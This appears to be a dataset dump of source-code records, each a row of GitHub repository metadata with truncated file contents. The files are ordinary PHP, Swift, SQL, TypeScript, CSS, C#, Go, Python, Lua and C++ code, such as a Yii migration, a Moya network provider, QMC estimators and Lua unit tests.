hexsha stringlengths 40 40 | size int64 5 1.05M | ext stringclasses 98
values | lang stringclasses 21
values | max_stars_repo_path stringlengths 3 945 | max_stars_repo_name stringlengths 4 118 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 945 | max_issues_repo_name stringlengths 4 118 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 945 | max_forks_repo_name stringlengths 4 135 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 1.05M | avg_line_length float64 1 1.03M | max_line_length int64 2 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3f93098b0e16d11bbda5d7e6f57eceac9432d5b7 | 750 | php | PHP | console/migrations/m160904_025732_init_user.php | dinhduy7895/Yii2-Tour | 11091a50ddc37cc711326e7147be626e75614e1e | [
"BSD-3-Clause"
] | null | null | null | console/migrations/m160904_025732_init_user.php | dinhduy7895/Yii2-Tour | 11091a50ddc37cc711326e7147be626e75614e1e | [
"BSD-3-Clause"
] | null | null | null | console/migrations/m160904_025732_init_user.php | dinhduy7895/Yii2-Tour | 11091a50ddc37cc711326e7147be626e75614e1e | [
"BSD-3-Clause"
] | null | null | null | <?php
use yii\db\Migration;
use common\models\User;
class m160904_025732_init_user extends Migration
{
public function up()
{
$model = new User();
$model->setAttributes(array(
'username' => 'user',
'email' =>'user@gmail.com',
'role' => User::ROLE_USER,
... | 19.230769 | 69 | 0.534667 |
588627e4ad141a004a3eba8296a916256d2b2255 | 12,058 | php | PHP | tests/Functional/Controller/Action/User/Account/NewsSubscriptionsControllerTest.php | majacQ/web.client.simplytestable.com | a4c97a94051cba6f4bda2efa96c866a4551d979b | [
"MIT"
] | 1 | 2017-12-20T20:04:49.000Z | 2017-12-20T20:04:49.000Z | tests/Functional/Controller/Action/User/Account/NewsSubscriptionsControllerTest.php | webignition/web.client.simplytestable.com | d5f31c9052205ca9f93f1a5bd36734edd8e8d58a | [
"MIT"
] | 352 | 2019-01-04T10:56:06.000Z | 2019-04-22T16:29:11.000Z | tests/Functional/Controller/Action/User/Account/NewsSubscriptionsControllerTest.php | majacQ/web.client.simplytestable.com | a4c97a94051cba6f4bda2efa96c866a4551d979b | [
"MIT"
] | 1 | 2021-05-31T01:02:57.000Z | 2021-05-31T01:02:57.000Z | <?php
/** @noinspection PhpDocSignatureInspection */
namespace App\Tests\Functional\Controller\Action\User\Account;
use Doctrine\ORM\EntityManagerInterface;
use App\Controller\Action\User\Account\NewsSubscriptionsController;
use App\Entity\MailChimp\ListRecipients;
use App\Model\MailChimp\ApiError;
use App\Services\M... | 39.276873 | 109 | 0.503483 |
2867fd5310ab9b6d2d2980404e2b505963bcc694 | 1,105 | swift | Swift | RickAndMortyApp/NetworkService/RMProvider.swift | zontag/RickAndMortyApp | 67bc4aea449264ebb260324f869a6827378eabb9 | [
"MIT"
] | null | null | null | RickAndMortyApp/NetworkService/RMProvider.swift | zontag/RickAndMortyApp | 67bc4aea449264ebb260324f869a6827378eabb9 | [
"MIT"
] | null | null | null | RickAndMortyApp/NetworkService/RMProvider.swift | zontag/RickAndMortyApp | 67bc4aea449264ebb260324f869a6827378eabb9 | [
"MIT"
] | null | null | null | import Foundation
import Moya
import ReactiveSwift
import ReactiveMoya
class RMProvider {
enum Failure: LocalizedError {
case fetchFailure
var localizedDescription: String {
switch self {
case .fetchFailure:
return "Sorry, something really stran... | 25.697674 | 82 | 0.534842 |
9f2f94d30c0fcdf1082e15f6dd0559a700944f48 | 637 | sql | SQL | scripts/dm/mv_dm_metadata_site.sql | lindsay-stevens/openclinica_sqldatamart | ecdda4208021ff5a1cb7a20036eed23bd4196af0 | [
"MIT"
] | 8 | 2016-03-31T08:49:35.000Z | 2021-03-11T06:31:43.000Z | scripts/dm/mv_dm_metadata_site.sql | lindsay-stevens-kirby/openclinica_sqldatamart | ecdda4208021ff5a1cb7a20036eed23bd4196af0 | [
"MIT"
] | 4 | 2015-04-20T05:57:58.000Z | 2016-01-20T04:35:59.000Z | scripts/dm/mv_dm_metadata_site.sql | lindsay-stevens/openclinica_sqldatamart | ecdda4208021ff5a1cb7a20036eed23bd4196af0 | [
"MIT"
] | 5 | 2016-05-18T06:56:04.000Z | 2019-01-24T16:12:53.000Z | CREATE MATERIALIZED VIEW dm.metadata_site AS
SELECT
study.study_id AS site_id,
study.name AS site_name,
openclinica_fdw.dm_clean_name_string(study.oc_oid) AS site_name_clean,
study.oc_oid AS site_oid,
study.unique_identifier AS site_unique_identifier,
status.name AS site_status,
study.date... | 37.470588 | 74 | 0.77865 |
4619b41940eea62c6437938320928c539749dfa6 | 139 | ts | TypeScript | trms-front-end/src/models/utils/clone.ts | 210524training/ddl-trms | da0a6138301e216caa7c6134153db53a5967e109 | [
"MIT"
] | null | null | null | trms-front-end/src/models/utils/clone.ts | 210524training/ddl-trms | da0a6138301e216caa7c6134153db53a5967e109 | [
"MIT"
] | null | null | null | trms-front-end/src/models/utils/clone.ts | 210524training/ddl-trms | da0a6138301e216caa7c6134153db53a5967e109 | [
"MIT"
] | null | null | null | export default function clone<T>(obj: T): T {
const str = JSON.stringify(obj);
const cloned = JSON.parse(str) as T;
return cloned;
}
| 23.166667 | 45 | 0.676259 |
54f55c2ef077f629d71cd6162e8136a59aef4970 | 4,240 | css | CSS | src/css/gallery.css | capricci-parrucchieri/website | 2916c12c0be21215216a6ac5b053cc1600b7cf56 | [
"MIT"
] | null | null | null | src/css/gallery.css | capricci-parrucchieri/website | 2916c12c0be21215216a6ac5b053cc1600b7cf56 | [
"MIT"
] | null | null | null | src/css/gallery.css | capricci-parrucchieri/website | 2916c12c0be21215216a6ac5b053cc1600b7cf56 | [
"MIT"
] | null | null | null | a{
color: black;
text-decoration: underline;
}
.navbar a{ /* restore navbar default */
text-decoration: none;
}
.navbar-brand img {
max-width: 100%;
max-height: 100%;
}
header h1{
font-family: 'Mouse Memoirs', sans-serif;
font-size: 5em;
font-weight: lighter;
}
header h2{
font-family: 'BenchNine', ... | 19.272727 | 78 | 0.618396 |
dc1b2cacc1493c37127cb8f1f5f1e5c5e592ad3c | 463 | ts | TypeScript | ddd-library/typescript-ddd/src/Contexts/Mooc/Shared/infrastructure/EventBus/RabbitMq/RabbitMqConfigFactory.ts | beyondnetPeru/BeyondNet.Sample.Typescript | 0cce64b1f3d504fa2f1a5ced8b0dcd48b4ec8d5a | [
"MIT"
] | null | null | null | ddd-library/typescript-ddd/src/Contexts/Mooc/Shared/infrastructure/EventBus/RabbitMq/RabbitMqConfigFactory.ts | beyondnetPeru/BeyondNet.Sample.Typescript | 0cce64b1f3d504fa2f1a5ced8b0dcd48b4ec8d5a | [
"MIT"
] | null | null | null | ddd-library/typescript-ddd/src/Contexts/Mooc/Shared/infrastructure/EventBus/RabbitMq/RabbitMqConfigFactory.ts | beyondnetPeru/BeyondNet.Sample.Typescript | 0cce64b1f3d504fa2f1a5ced8b0dcd48b4ec8d5a | [
"MIT"
] | null | null | null | import config from '../../config';
import RabbitMqConfig from '../../../../../Shared/infrastructure/EventBus/RabbitMq/RabbitMqConfig';
export class RabbitMqConfigFactory {
static createConfig(): RabbitMqConfig {
return {
host: config.get('rabbitMQ.host'),
user: config.get('rabbitMQ.user'),
pass... | 30.866667 | 99 | 0.667387 |
0acda47f5a51c6a78a0fe18f975fa89144b6a73c | 7,349 | cs | C# | sdk/resources/Azure.ResourceManager.Resources/src/Generated/Extensions/ArmClientExtensions.cs | mikeblakeuk/azure-sdk-for-net | 8ad38efecac8bd7ec33297f416cbc330f5a1d782 | [
"MIT"
] | 2 | 2021-08-05T13:32:05.000Z | 2021-12-01T15:56:12.000Z | sdk/resources/Azure.ResourceManager.Resources/src/Generated/Extensions/ArmClientExtensions.cs | mikeblakeuk/azure-sdk-for-net | 8ad38efecac8bd7ec33297f416cbc330f5a1d782 | [
"MIT"
] | 7 | 2021-08-25T09:09:53.000Z | 2022-03-17T01:01:13.000Z | sdk/resources/Azure.ResourceManager.Resources/src/Generated/Extensions/ArmClientExtensions.cs | mikeblakeuk/azure-sdk-for-net | 8ad38efecac8bd7ec33297f416cbc330f5a1d782 | [
"MIT"
] | 1 | 2022-01-14T19:07:05.000Z | 2022-01-14T19:07:05.000Z | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// <auto-generated/>
#nullable disable
using Azure.ResourceManager;
namespace Azure.ResourceManager.Resources
{
/// <summary> A class to add extension methods to ArmClient. </summary>
public static partial class ... | 63.904348 | 165 | 0.684719 |
05046c763af45a0005db03cacb8a137cd5f7d504 | 474 | css | CSS | src/components/Label/Label.css | chohanjoo/aladdin-ui | 88360268cd162adce58aaa205fa73a8be4a8767a | [
"Apache-2.0"
] | null | null | null | src/components/Label/Label.css | chohanjoo/aladdin-ui | 88360268cd162adce58aaa205fa73a8be4a8767a | [
"Apache-2.0"
] | 8 | 2021-03-01T22:47:07.000Z | 2022-03-08T22:47:16.000Z | src/components/Label/Label.css | chohanjoo/aladdin-ui | 88360268cd162adce58aaa205fa73a8be4a8767a | [
"Apache-2.0"
] | 4 | 2019-07-14T02:13:58.000Z | 2019-09-17T06:45:13.000Z | .label-collection{overflow:hidden}.label-pair{margin:3px 2px 2px;max-width:100%;float:left;display:block}.label-pair .label{min-width:50px}.label-pair .label:first-child{border-radius:2px 0 0 2px}.label-pair .label:last-child{border-radius:0 2px 2px 0}.label-pair .label-key{background-color:#bee1f4;color:#00659c;paddin... | 237 | 473 | 0.791139 |
f45aee4d8f3d899759565bb63ed9eb4ac1743252 | 2,984 | cs | C# | disfr-core/Doc/StringPool.cs | AlissaSabre/disfr | 7f47558659e07308c300342af68caac8f87f1db6 | [
"BSD-1-Clause"
] | 7 | 2019-01-10T08:06:47.000Z | 2022-01-14T07:50:49.000Z | disfr-core/Doc/StringPool.cs | AlissaSabre/disfr | 7f47558659e07308c300342af68caac8f87f1db6 | [
"BSD-1-Clause"
] | 25 | 2016-07-01T02:37:15.000Z | 2021-05-30T10:44:07.000Z | disfr-core/Doc/StringPool.cs | AlissaSabre/disfr | 7f47558659e07308c300342af68caac8f87f1db6 | [
"BSD-1-Clause"
] | 4 | 2016-12-06T13:38:24.000Z | 2022-01-18T11:02:38.000Z | using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace disfr.Doc
{
/// <summary>
/// Provides a local/private equivalent of the CLR's intern pool.
/// </summary>
public interface IStringPool
... | 32.791209 | 112 | 0.567694 |
5d9c7d7a913afeb9727e54b28667784ea8069fbf | 576 | hpp | C++ | Code/Asset/IAsset.hpp | Mu-L/Luna-Engine-0.6 | 05ae1037f0d173589a535eb6ec2964f20d80e5c1 | [
"MIT"
] | 167 | 2020-06-17T06:09:41.000Z | 2022-03-13T20:31:26.000Z | Code/Asset/IAsset.hpp | Mu-L/Luna-Engine-0.6 | 05ae1037f0d173589a535eb6ec2964f20d80e5c1 | [
"MIT"
] | 2 | 2020-07-11T15:12:50.000Z | 2021-06-01T01:45:49.000Z | Code/Asset/IAsset.hpp | Mu-L/Luna-Engine-0.6 | 05ae1037f0d173589a535eb6ec2964f20d80e5c1 | [
"MIT"
] | 22 | 2020-06-12T02:26:10.000Z | 2022-01-02T14:04:32.000Z | // Copyright 2018-2020 JXMaster. All rights reserved.
/*
* @file IAsset.cpp
* @author JXMaster
* @date 2020/4/15
*/
#pragma once
#include <Core/Core.hpp>
namespace Luna
{
namespace Asset
{
struct IAssetMeta;
//! @interface IAsset
//! @threadsafe
//! Implement this interface to define your own asset object t... | 21.333333 | 116 | 0.694444 |
0a99bffc5e3971d5540cecfd1c20900ab5aba8e8 | 4,355 | cs | C# | src/AupDotNet/ExEdit/Effects/NoiseEffect.cs | karoterra/AupDotNet | f4dd088d04f34e2aa761f295bad3c71fe1ac71ff | [
"MIT"
] | 10 | 2021-06-03T17:14:21.000Z | 2022-02-12T09:13:56.000Z | src/AupDotNet/ExEdit/Effects/NoiseEffect.cs | karoterra/AupDotNet | f4dd088d04f34e2aa761f295bad3c71fe1ac71ff | [
"MIT"
] | null | null | null | src/AupDotNet/ExEdit/Effects/NoiseEffect.cs | karoterra/AupDotNet | f4dd088d04f34e2aa761f295bad3c71fe1ac71ff | [
"MIT"
] | null | null | null | using System;
using System.IO;
using Karoterra.AupDotNet.Extensions;
namespace Karoterra.AupDotNet.ExEdit.Effects
{
/// <summary>
/// ノイズ
/// </summary>
public class NoiseEffect : Effect
{
/// <summary>
/// ノイズのフィルタ効果定義。
/// </summary>
public static EffectType Effect... | 31.107143 | 91 | 0.510677 |
7970d45707128036c16f6262232e10b248b738c3 | 2,825 | php | PHP | app/Repositories/rolFerro/ruta/RutaRepositories.php | mtiendar/arconesycanastas.pe | dc9450a8767fe4556d1ad66ae55b424ab185e9b8 | [
"MIT"
] | null | null | null | app/Repositories/rolFerro/ruta/RutaRepositories.php | mtiendar/arconesycanastas.pe | dc9450a8767fe4556d1ad66ae55b424ab185e9b8 | [
"MIT"
] | 1 | 2021-06-30T18:19:30.000Z | 2021-06-30T18:19:30.000Z | app/Repositories/rolFerro/ruta/RutaRepositories.php | mtiendar/arconesycanastas.pe | dc9450a8767fe4556d1ad66ae55b424ab185e9b8 | [
"MIT"
] | 2 | 2021-04-24T17:58:52.000Z | 2021-06-09T17:26:30.000Z | <?php
namespace App\Repositories\rolFerro\ruta;
// Models
use App\Models\Ruta;
// Events
use App\Events\layouts\ActividadRegistrada;
// Servicios
use App\Repositories\servicio\crypt\ServiceCrypt;
// Repositories
use App\Repositories\papeleraDeReciclaje\PapeleraDeReciclajeRepositories;
// Otros
use Illuminate\Support\Fa... | 35.3125 | 128 | 0.645664 |
908029fac5ac503e188ecdb16e74a86772a74dcb | 3,498 | h | C | include/comm/binstream/netstream.h | Outerra/anteworld | 7c95cd0a4c53937c7572387333a00f8542ebf236 | [
"Unlicense"
] | 16 | 2017-02-28T20:03:06.000Z | 2021-01-25T05:27:05.000Z | include/comm/binstream/netstream.h | Outerra/anteworld | 7c95cd0a4c53937c7572387333a00f8542ebf236 | [
"Unlicense"
] | null | null | null | include/comm/binstream/netstream.h | Outerra/anteworld | 7c95cd0a4c53937c7572387333a00f8542ebf236 | [
"Unlicense"
] | 7 | 2019-09-25T17:48:51.000Z | 2021-10-05T08:43:37.000Z | /* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
... | 28.909091 | 89 | 0.670097 |
a420ec2baed244b660ce3d3be006a77495dccb35 | 663 | php | PHP | success.php | prashantevolvus/crux | f76dab56ff5187672c6ba9ea095d64bb44eb27b6 | [
"MIT"
] | null | null | null | success.php | prashantevolvus/crux | f76dab56ff5187672c6ba9ea095d64bb44eb27b6 | [
"MIT"
] | 2 | 2017-09-28T07:50:29.000Z | 2017-10-01T08:51:11.000Z | success.php | prashantevolvus/crux | f76dab56ff5187672c6ba9ea095d64bb44eb27b6 | [
"MIT"
] | null | null | null | <html>
<?php
session_name("Project");
session_start();
require_once('dbconn.php');
if(!checkUserSession($_SESSION["user"]))
{
header("Location:login.php");
}
?>
<body>
<?php
echo $q=$_GET["redirectproject"];
$riskid=$_GET["projectid"];
if($q != "")
{
header("Location:viewprojdetails.php?p... | 17 | 96 | 0.597285 |
dd9368ebccf5d771b10b936861adab456f3a942f | 2,545 | java | Java | admin/src/main/java/com/wupaas/boot/admin/model/UserAuthModel.java | jueyue/windbell | 8af280adcac4da0d96801999a667935871b5bdd1 | [
"MulanPSL-1.0"
] | 4 | 2019-09-11T01:56:43.000Z | 2022-01-24T07:05:42.000Z | admin/src/main/java/com/wupaas/boot/admin/model/UserAuthModel.java | jueyue/windbell | 8af280adcac4da0d96801999a667935871b5bdd1 | [
"MulanPSL-1.0"
] | 14 | 2020-05-31T07:10:21.000Z | 2022-02-16T00:58:32.000Z | admin/src/main/java/com/wupaas/boot/admin/model/UserAuthModel.java | jueyue/windbell | 8af280adcac4da0d96801999a667935871b5bdd1 | [
"MulanPSL-1.0"
] | 2 | 2020-03-20T07:23:43.000Z | 2020-12-09T05:02:17.000Z | /**
* Copyright 2017-2019 JueYue (qrb.jueyue@foxmail.com)
* <p>
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless requir... | 31.419753 | 83 | 0.715521 |
439fcb8fbb3ced62b41798b14d5511dade9f2174 | 183 | ts | TypeScript | node_modules/@guildeducationinc/recess/components/CardContent/CardContent.d.ts | rwarbelow/uaservices | b1cf5e07e330c85c3fb76d5cb32606562eda1c32 | [
"MIT"
] | null | null | null | node_modules/@guildeducationinc/recess/components/CardContent/CardContent.d.ts | rwarbelow/uaservices | b1cf5e07e330c85c3fb76d5cb32606562eda1c32 | [
"MIT"
] | null | null | null | node_modules/@guildeducationinc/recess/components/CardContent/CardContent.d.ts | rwarbelow/uaservices | b1cf5e07e330c85c3fb76d5cb32606562eda1c32 | [
"MIT"
] | null | null | null | import * as React from 'react';
export declare type CardContentProps = React.HTMLAttributes<HTMLElement>;
export declare const CardContent: React.FunctionComponent<CardContentProps>;
| 45.75 | 76 | 0.830601 |
b5704c79bf026d4830e43427cb8ce7125e2ead06 | 6,468 | swift | Swift | FittedSheets/ExamplesViewController.swift | daresaydigital/FittedSheets | b9a9af8692507a8578dd38284f3319cf17ad2834 | [
"MIT"
] | null | null | null | FittedSheets/ExamplesViewController.swift | daresaydigital/FittedSheets | b9a9af8692507a8578dd38284f3319cf17ad2834 | [
"MIT"
] | null | null | null | FittedSheets/ExamplesViewController.swift | daresaydigital/FittedSheets | b9a9af8692507a8578dd38284f3319cf17ad2834 | [
"MIT"
] | null | null | null | //
// ViewController.swift
// FittedSheets
//
// Created by Gordon Tucker on 8/16/18.
// Copyright © 2018 Gordon Tucker. All rights reserved.
//
import UIKit
import FittedSheetsPod
class ExamplesViewController: UIViewController {
@IBOutlet weak var stackView: UIStackView!
@IBOutlet weak var sizesTextFiel... | 49 | 210 | 0.678417 |
e149704f25dd28a7751991e44325d6dea3adaf98 | 2,862 | go | Go | fab3/cmd/main.go | andrewyuau/fabric-chaincode-evm | dcad7d5df15943fcb18b0cea54be81109d79761a | [
"Apache-2.0"
] | null | null | null | fab3/cmd/main.go | andrewyuau/fabric-chaincode-evm | dcad7d5df15943fcb18b0cea54be81109d79761a | [
"Apache-2.0"
] | null | null | null | fab3/cmd/main.go | andrewyuau/fabric-chaincode-evm | dcad7d5df15943fcb18b0cea54be81109d79761a | [
"Apache-2.0"
] | null | null | null | /*
Copyright IBM Corp. All Rights Reserved.
SPDX-License-Identifier: Apache-2.0
*/
package main
import (
"fmt"
"os"
"strconv"
"go.uber.org/zap"
"github.com/hyperledger/fabric-chaincode-evm/fab3"
"github.com/hyperledger/fabric-sdk-go/pkg/client/channel"
"github.com/hyperledger/fabric-sdk-go/pkg/client/ledger... | 28.336634 | 134 | 0.710692 |
af856c9b5e243afebc9e6b576c37f5bcd21545da | 9,230 | py | Python | pauxy/estimators/ueg.py | pauxy-qmc/pauxy | 1da80284284769b59361c73cfa3c2d914c74a73f | [
"Apache-2.0"
] | 16 | 2020-08-05T17:17:17.000Z | 2022-03-18T04:06:18.000Z | pauxy/estimators/ueg.py | pauxy-qmc/pauxy | 1da80284284769b59361c73cfa3c2d914c74a73f | [
"Apache-2.0"
] | 4 | 2020-05-17T21:28:20.000Z | 2021-04-22T18:05:50.000Z | pauxy/estimators/ueg.py | pauxy-qmc/pauxy | 1da80284284769b59361c73cfa3c2d914c74a73f | [
"Apache-2.0"
] | 5 | 2020-05-18T01:03:18.000Z | 2021-04-13T15:36:29.000Z | import time
import numpy
import scipy.linalg
try:
from pauxy.estimators.ueg_kernels import (
exchange_greens_function_per_qvec,
coulomb_greens_function_per_qvec,
build_J_opt, build_K_opt
)
except ImportError:
pass
def exchange_greens_function(nq, kpq_i, kpq, pm... | 35.775194 | 124 | 0.534345 |
e7395941a683bb8dacc88bece82a4087a34b73a3 | 1,256 | php | PHP | app/Http/Controllers/Report/UserAssignReport.php | md-rabiul-hasan/agent-banking-report | 746644fcdb1bd1606c3b0a16b6c5d182b282396a | [
"MIT"
] | null | null | null | app/Http/Controllers/Report/UserAssignReport.php | md-rabiul-hasan/agent-banking-report | 746644fcdb1bd1606c3b0a16b6c5d182b282396a | [
"MIT"
] | null | null | null | app/Http/Controllers/Report/UserAssignReport.php | md-rabiul-hasan/agent-banking-report | 746644fcdb1bd1606c3b0a16b6c5d182b282396a | [
"MIT"
] | null | null | null | <?php
namespace App\Http\Controllers\Report;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class UserAssignReport extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
pub... | 23.259259 | 84 | 0.593949 |
786f9b533bab09d7531c6061a746971f62cd9db6 | 152 | sql | SQL | SQL/EmployeeSalaries.sql | WinrichSy/HackerRank-Solutions | ed928de50cbbbdf0aee471630f6c04f9a0f69a1f | [
"Apache-2.0"
] | null | null | null | SQL/EmployeeSalaries.sql | WinrichSy/HackerRank-Solutions | ed928de50cbbbdf0aee471630f6c04f9a0f69a1f | [
"Apache-2.0"
] | null | null | null | SQL/EmployeeSalaries.sql | WinrichSy/HackerRank-Solutions | ed928de50cbbbdf0aee471630f6c04f9a0f69a1f | [
"Apache-2.0"
] | null | null | null | --Employee Salaries
--https://www.hackerrank.com/challenges/salary-of-employees/problem
SELECT name
FROM employee
WHERE salary > 2000 AND months < 10;
| 21.714286 | 67 | 0.782895 |
1abf4cb881c4f3e60d1cfc3f8381caa53f423178 | 627 | py | Python | resources/home/dnanexus/get_reference.py | edawson/parliament2 | 2632aa3484ef64c9539c4885026b705b737f6d1e | [
"Apache-2.0"
] | null | null | null | resources/home/dnanexus/get_reference.py | edawson/parliament2 | 2632aa3484ef64c9539c4885026b705b737f6d1e | [
"Apache-2.0"
] | null | null | null | resources/home/dnanexus/get_reference.py | edawson/parliament2 | 2632aa3484ef64c9539c4885026b705b737f6d1e | [
"Apache-2.0"
] | 1 | 2020-05-28T23:01:44.000Z | 2020-05-28T23:01:44.000Z | def main():
reference_chosen = False
with open("ref.fa", 'r') as f:
chrs = set()
for line in f:
if line.startswith(">chr1") and "LN:248956422" in line:
print "hg38"
reference_chosen = True
break
if line.startswith('>'):
... | 27.26087 | 67 | 0.441786 |
80b5ff5ae4cd9ca498df8d3b3ffcd4caca4b11fd | 359 | sql | SQL | sql2_persediaan/beban_rinci_sql/beban_barang4_bappeda.sql | muntaza/Open_Persediaan | 8010839926cc6a357faf40481c7d7f43c1f66a3e | [
"BSD-2-Clause"
] | 4 | 2020-05-26T07:52:34.000Z | 2022-01-09T17:02:21.000Z | sql2_persediaan/beban_rinci_sql/beban_barang4_bappeda.sql | muntaza/Open_Persediaan | 8010839926cc6a357faf40481c7d7f43c1f66a3e | [
"BSD-2-Clause"
] | null | null | null | sql2_persediaan/beban_rinci_sql/beban_barang4_bappeda.sql | muntaza/Open_Persediaan | 8010839926cc6a357faf40481c7d7f43c1f66a3e | [
"BSD-2-Clause"
] | 1 | 2020-05-26T07:52:36.000Z | 2020-05-26T07:52:36.000Z | DROP VIEW IF EXISTS view_beban_barang4_bappeda;
CREATE VIEW view_beban_barang4_bappeda AS
SELECT
*,
beban * harga AS jumlah_harga
FROM
view_beban_barang3_bappeda
WHERE
1 = 1 AND
beban > 0 AND
id_skpd = 21;
GRANT ALL PRIVILEGES ON view_beban_barang4_bappeda TO lap_bappeda;
REVOKE INSERT, UPDATE, DELETE ON view_b... | 17.095238 | 77 | 0.818942 |
e2f9eea9d08c8b6cb00c0ccdad7cf21c9c379f52 | 5,794 | py | Python | sdk/python/pulumi_keycloak/openid/client_time_policy.py | jaxxstorm/pulumi-keycloak | 2fc7b1060b725a40d2ada745aa0d10130243a0b5 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_keycloak/openid/client_time_policy.py | jaxxstorm/pulumi-keycloak | 2fc7b1060b725a40d2ada745aa0d10130243a0b5 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_keycloak/openid/client_time_policy.py | jaxxstorm/pulumi-keycloak | 2fc7b1060b725a40d2ada745aa0d10130243a0b5 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class Client... | 47.105691 | 389 | 0.669831 |
144e8563d356054ea2b723034e4066aa0ed2013d | 10,574 | ts | TypeScript | src/tokens/parsers.ts | functional-script/fscript | ff25134cc9a7f4322223f3290a15049b7c30759a | [
"MIT"
] | null | null | null | src/tokens/parsers.ts | functional-script/fscript | ff25134cc9a7f4322223f3290a15049b7c30759a | [
"MIT"
] | null | null | null | src/tokens/parsers.ts | functional-script/fscript | ff25134cc9a7f4322223f3290a15049b7c30759a | [
"MIT"
] | null | null | null | import { TokenParser, Token, KEYWORD_LITERAL } from './types'
import { TokenList } from './list'
import { TokenError } from './error'
import { CompilerOptions } from '../options'
/**
* Allows to parse a new line token
*/
export class NewLineToken implements TokenParser {
constructor(options: CompilerOptions) {}
... | 21.712526 | 154 | 0.597882 |
ec6f0dddc3a4c8a09f5ac89ce0a6de2c5f94d1e7 | 10,058 | lua | Lua | tests/lutl_assert_tests.lua | Saend/cutl | 31c091ec3155185a7764682654ad9ed3932f6267 | [
"MIT"
] | null | null | null | tests/lutl_assert_tests.lua | Saend/cutl | 31c091ec3155185a7764682654ad9ed3932f6267 | [
"MIT"
] | null | null | null | tests/lutl_assert_tests.lua | Saend/cutl | 31c091ec3155185a7764682654ad9ed3932f6267 | [
"MIT"
] | null | null | null | require('tests/tests')
local T = {}
-- ASSERT_TRUE
function T.assert_true_true_test(lutl, fix)
-- Function under test
fix.lutl:run(nil, function(lutl)
lutl:assert_true(true)
end)
-- Asserts
lutl:assert_equal(fix.lutl:get_failed(), 0)
end
function T.assert_true_number_test(lutl, fix)
-- Function under tes... | 21.537473 | 53 | 0.747664 |
d03816ec0b0945bc98e9139da6daa3df998bcf13 | 4,617 | cpp | C++ | common/filesystem.cpp | Thalhammer/pve-simple-container | bfe7e72961fe6ae350587c71c71ef1be8e5fd5f5 | [
"MIT"
] | 1 | 2020-05-12T03:17:51.000Z | 2020-05-12T03:17:51.000Z | common/filesystem.cpp | Thalhammer/pve-simple-container | bfe7e72961fe6ae350587c71c71ef1be8e5fd5f5 | [
"MIT"
] | 6 | 2018-09-08T13:00:49.000Z | 2019-02-12T13:43:23.000Z | common/filesystem.cpp | Thalhammer/pve-simple-container | bfe7e72961fe6ae350587c71c71ef1be8e5fd5f5 | [
"MIT"
] | null | null | null | #include "filesystem.h"
#include <cstdlib>
#include <experimental/filesystem>
#include <fstream>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include "string_helper.h"
#include <regex>
namespace fs = std::experimental::filesystem;
namespace pvesc {
namespace common {
std::string filesystem::create_... | 31.408163 | 150 | 0.632012 |
f7d26d75fbebc2a6614e39f936399a27076885a7 | 733 | sql | SQL | CMP/CmpWap/CmpWapExtension/CmpWapDb/dbo/Tables/SQLVersion.sql | grazies/Phoenix | eed35547ed52611f9a1b131cb993f7cd8f424690 | [
"MIT"
] | 38 | 2016-03-01T01:07:55.000Z | 2019-02-23T05:06:10.000Z | CMP/CmpWap/CmpWapExtension/CmpWapDb/dbo/Tables/SQLVersion.sql | grazies/Phoenix | eed35547ed52611f9a1b131cb993f7cd8f424690 | [
"MIT"
] | 12 | 2016-03-02T22:19:03.000Z | 2018-10-17T08:45:17.000Z | CMP/CmpWap/CmpWapExtension/CmpWapDb/dbo/Tables/SQLVersion.sql | grazies/Phoenix | eed35547ed52611f9a1b131cb993f7cd8f424690 | [
"MIT"
] | 10 | 2016-03-05T02:27:56.000Z | 2019-03-27T07:44:03.000Z | CREATE TABLE [dbo].[SQLVersion] (
[SQLVersionId] INT IDENTITY (1, 1) NOT NULL,
[Name] NVARCHAR (100) NOT NULL,
[Description] NVARCHAR (500) NOT NULL,
[IsActive] BIT NOT NULL,
[CreatedOn] DATETIME CONSTRAINT [DF_SQLVersion_CreatedOn] DEFAULT (getdate(... | 56.384615 | 109 | 0.673943 |
c3c59824cad122aaa17e03f09a19d6677339fb6c | 3,515 | cs | C# | src/1.Framework/Vita/4.Internals/Data/Linq/Translation/ExpressionMutatorExtensions.cs | rivantsov/vita | d164701816b25dd67586c56b736c30a2c43bd767 | [
"MIT"
